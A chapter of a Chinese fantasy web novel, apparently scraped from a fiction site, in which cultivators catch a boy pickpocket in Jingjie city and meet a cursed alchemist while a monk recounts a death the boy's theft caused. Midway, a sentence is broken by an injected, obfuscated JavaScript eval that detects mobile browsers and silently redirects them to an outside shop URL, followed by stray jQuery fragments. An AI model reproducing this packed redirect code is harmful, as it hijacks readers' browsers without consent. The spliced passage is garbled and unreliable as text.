文趣网 > 其他小说 > 应有晚客带春来 > 36.毫厘
    经捷城西郊就是泣野,因而即便它夹在南都和春熙城两大繁华处之间,人口也难较其中任何一座,东边还好些,西边却全是些不得不定居于此的穷苦人家,根本难见外来者。

    众人从东边的主城门通关,发现周遭都难见田地,但宅子倒都修的不小。

    君须说:“经捷的土地不算肥沃,少有人种地,加之又是南北交界处,于是大多都往返南都、复照城和春熙城、柯州做生意,东城区倒也还算富庶。”

    街边随处可见小摊,几乎可称连绵不绝,摊上物件五花八门,来自哪的都有,街巷中还穿行着不少干跑腿的孩子。

    一个看着不到十岁的男孩擦着肖霁霜的衣角奔过,不小心就撞到了更影身上,男孩连声道歉道歉,他这活似乎很急,脚也不停地跑了。

    忽然,一支禅杖横在了男孩身前,身着袈裟的僧人依旧笑着:“这位小施主,赶时间也要把别人的东西还回去呀。”

    男孩左转右绕也没法越过,身后路又被堵住,于是举着手中信封装傻:“什么东西?高僧可别拦我了,这信要是送晚了,我可要饿一天肚子!”

    更影在妄生拦下男孩之前就发现了端倪,他腰间荷包已经被人割断绳子偷走,便说:“我的荷包,以及里面的银子。”

    男孩还想狡辩,却见君须把剑出鞘十公分,知道自己遇着了硬茬,便眨巴眼睛酝酿几秒,豆大的眼泪一颗接着一颗往下掉:“对不住、对不住,可是我家在西城区,挨着泣野,种出来的粮食拿去贱卖也卖不动,甚至只是换点油盐都没人给我们换……”

    他看向慈悲为怀的和尚:“我跑腿赚不了几个铜板,如果不偷这银子,我才满月的妹妹就要饿死了——求求各位,行行好吧!”

    一边说一边就往地上跪。

    “阿弥陀佛,出家人慈悲为怀,”妄生朝他行了个礼,“小施主境遇着实叫人感慨,只是小施主可有想过,你盗走的或许是病人的救命钱、是另一个孩子好不容易才有的一顿饱饭、是旁人一年的辛苦劳作呢?”

    本以为会被轻飘飘放过甚至再捞上一笔的男孩傻了眼,他只好一瘪嘴躺到地上,撒泼打滚,引来不少注意。

    “西城的穷鬼又来了。”

    “真是,又不是不愿给他们个正经营生,搞这些偷鸡摸狗的。”

    “邱家四娃吧,可算叫人逮到他了。”

    “我就说是他在偷东西吧,小小年纪不学好,他爹娘也是,就这样放任他……”

    “和这种人是同乡,真是面上无光。”

    不少人直接扯嗓子叫起来:“几位仙长别信他,他既没有重病的娘也没有残疾的爹,更没什么小妹妹!!!”

    “他就是个惯偷!”

    “多谢各位施主提醒,”妄生朝邱四摊开手,“小施主,还来吧——你若为了生计沦落至此,我可推荐你去浮屠。”

    邱四呸了一声:“我以后可是要大鱼大肉娶媳妇的,谁去当你们这吃素的秃顶和尚!”

    他说完,扭身就往君须腋下钻,速度快得好似脚底抹油。

    但邱四没跑几步就被人抓住了,此人生得人高马大,披着巨大的披风,戴着挂纱的斗笠,把自己遮得严严实实,背上似还背着个大包袱,这人一只手就能把邱四提溜起来,任由他怎么扑腾也挣脱不得。

    此人看向褐衣红袈裟的和尚:“是妄生小友吗?”

    妄生双手合十:“想来是简师兄了。”

    那人却是不答,顺势单手把邱四抗好,任他在肩上扑腾,转身便走。

    妄生肯定道:“这定然是简师兄了。”

    于是众人便跟着他去了。

    到了包厢,简清佯摘下斗笠脱去披风,君须倒吸一口凉气,又生生憋住——这人确实丑,而且丑得出奇,犹如一个被捏坏的面人:

    一只眼睛歪歪斜斜,眼角几乎吊到眉尾,鼻子又大又塌,还满脸白一块黑一块的斑,更令人惊讶的是,他背上根本没背什么东西,而是一块巨大而崎岖的囊肿,压得身高近两米的他在脱了斗篷后显得十分佝偻。

    简清佯没有在乎他惊异的目光,叫小二来点过菜就挥手让小二离开了,明明在场者都得称一声师兄,却还是起身亲自给大伙斟茶,他的手指修长,然而东一块西一块烫伤,生生破坏了他身上仅剩的一点美感。

    邱四坐在一边,见有自己的份也不跑了,一口一个地抓着点心往嘴里塞,简清佯甚至单独为他要了壶凉白开。

    一直到众人寒暄了吃过饭,简清佯也没说自己到底有什么事,君须不禁有些着急:“简师兄,你究竟遇到了什么事?有我们能帮上忙的一定尽力相助。”

    简清佯脸上没什么表情,却无端让人感到一股沉重:“这事你们帮不上忙了,谁都帮不上忙了。”

    妄生早便察觉不对,为其把脉,才知他灵力被下禁制,此时与凡人无异,又见他身上宗门保命之物皆无所动,道:“简师兄身上的禁制,可是卢门主所为?”

    简清佯长叹一口气,奈何心中诸多话语,无可倾诉,只好道:“正是,除此之外,还有一道禁言咒术,至少要今日黄昏才能解除,还请各位再陪我耗一会儿了。”

    妄生便说:“那简师兄还行此事吗?如若不是,便和我拜会寿宁法师,抑或同他们一道去柯州?此次试修会元辰宗主办,这几位要回宗里去呢。”

    简清佯颔首:“我……”

    禁言咒生效了,君须猜他未尽的话:“与我同行?”

    但简清佯不言也不动。

    更影不由道:“好厉害的禁言咒。”

    中咒者竟是一点相关的想法都无法表露。

    肖霁霜皱了皱眉。

    妄生便提议:“那我们不一会就出发吧 。”

    简清佯这回能说话了:“可以。”

    邱四蹭了顿饱饭,正意犹未尽地揉肚子,听他们说要走不由有些着急:“喂!你们去哪?算我一个呗。”

    “你?”君须一挑眉,把他从椅子上扯到自己跟前,“你当然是和我们去官府。”

    邱四挣了两下没挣开,蔫头蔫脑地把钱袋丢到更影身前:“喏喏喏,还你还你。”

    更影打开来数了数,一点都没少,这才朝君须点了点头。

    君须一撒手,邱四就窜到简清佯椅子后边了,他探出个头来:“喂,丑大个儿,你收我为徒怎么样?”

    简清佯哑然,指着自己的脸问:“你确定吗?我天生这副怪模样,可从来没人想拜我为师,而且我是个丹修,拜我为师可是要背书的。”

    其实不止,简清佯十多年前的脊柱几乎折叠,但尚岁门主卢湛见他天赋极高,不忍见他如此度日,便将他收入门下后,每日用药浴、丹药以及针灸,才让他医治成如今这样,后来卢门主除鬼修受伤闭关,就由自己钻研能去掉囊肿的方法。

    邱四环顾一圈,然后指了指肖霁霜:“我知道嘛,拜师找好看的当然更好,可你看他,哪像会武功仙法的样子——随便丹修还是蛋修,反正都是修仙,只要能吃好喝好都无所谓。”

    肖霁霜道:“我是剑修。”

    邱四打量他两眼,问:“那你的剑呢?”

    自是到了沐景宵手上,君须听了这么一问,便是摸了摸鼻子移开视线,但肖霁霜却依旧语气轻柔:“没啦。”

    肖霁霜说得云淡风轻,身为元辰宗弟子的君须和更影却更是如坐针毡了。

    剑之于剑修犹如生命,弃剑之痛堪比剜心,虽

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695901|206202||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说在秘境中已言相让,可如何会不在意呢?

    邱四皱皱鼻子:“那你还算什么剑修?”

    更影的眉毛几乎拧到一起:“你怎么如此无礼。”

    邱四冲他做了个鬼脸。

    肖霁霜想了想,倒是认可了自己此时算不得剑修的说法:“你说的对。”

    邱四又去拽简清佯的袖子:“喂喂,丑大个儿?师父?收下我呗。”

    简清佯并没有直接答应:“你也听到我等尚有要事,待明日后再说吧,这之前你可以暂时跟着我,切记不可再行偷鸡摸狗之事。”

    邱四撇撇嘴:“要不是日子苦,谁想做这个啊,被人抓住了就被打个半死——你看。”

    他伸出左手,把小指上缠的破布条解开,那赫然是根断指,他满不在乎道:“不就是偷了几个铜板吗……”

    君须不由动了恻隐之心。

    妄生却说:“那你可知,若是有这几个铜板,那位大娘的小女儿就可以活下来了。”

    邱四也被他说得呆住了,瑟缩着道:“我只是,只是想吃个烧鸡腿而已,我没想害人命……”

    更影问:“你怎么知道的?”

    妄生答:“那日我正和沐师兄同行离开万丈岭,方入了镇子便见这位小施主与一个大娘起了争执,沐师兄救下了这位小施主,后来得知此事全貌,险些提剑砍了这小贼,却反被大娘拦下了。”

    那位大娘说:“算了,我也是在气头上,没想真的杀了他,都是苦命人,可能我二娃命该如此吧。”

    她的两个女儿都病了,紧着钱治了更严重的大娃,医馆已经施舍她们太多,她没脸再去赊药,这些日子她东奔西走,总算凑够了这最后几个铜板,可如今……

    沐景宵便说自己能够借钱给她,可身上却只带了灵石,便忙找钱庄换了,等再从医馆请大夫回去时,小女儿将将咽气,大娘跪在地上不停磕头,可大夫也回天乏术:“要是早两刻钟就好了。”

    要不是大女儿还活着,大娘可能就没有活下去的希望了。

    于是沐景宵再出门,都随身带着银子。

    “后来,我便为其幼女诵经超度,沐师兄则欲将母女二人带回元辰宗安置,就算当不成弟子也能做个杂役,好歹有个安生日子。”妄生接着讲,“大娘却说幼女入轮回,既行慈悲,应有佛缘,感念超度之恩,决意皈依。她怀一颗慈悲心,精进不休,便是如今德高望重的寿宁法师。其长女随母在浮屠带发清修一载,后因根骨不凡,随路过拜访的伍宗主回了元辰宗……”

    君须越听越熟悉,突然一拍手:“你说的是长生师妹!!!”

    妄生点头:“正是,寿宁法师长女闺名张雁葭。”

    “竟是如此……”君须看向更影,“说来也是缘分如此,倘若长生师妹没进元辰宗,你应当要拜入宗主门下的。”

    妄生叹了口气:“只是不想,四年光阴,竟未能涤净一念之偏。小施主,真真是枉费当初啊……”

    邱四偷奸耍滑,却未曾想过害人性命,不知所措,沉默许久,又死死抓住了简清佯的衣摆,耍赖般道:“你们不能把我丢下!把我丢下,我就又要去偷了。”

    几人静静瞧他一阵,到底没有赶他离去。

    简清佯蹙眉低头,不知在想些什么。

    临出客栈,君须忽地想到一问:“怪哉,简师兄若要寻妄生法师相会,明明可以直接往南都去复照城,何必费功夫绕过万丈岭到经捷城来?”

    简清佯又是不能答了,但他既不南下元辰,也不东上浮屠,反而固执地往西北去。

    几人只好相随,然而方跟着行了几步,肖霁霜脚步一顿,想起秘境中肖佁受急迅先行之事,脸色骤变,道:“瑶宫。”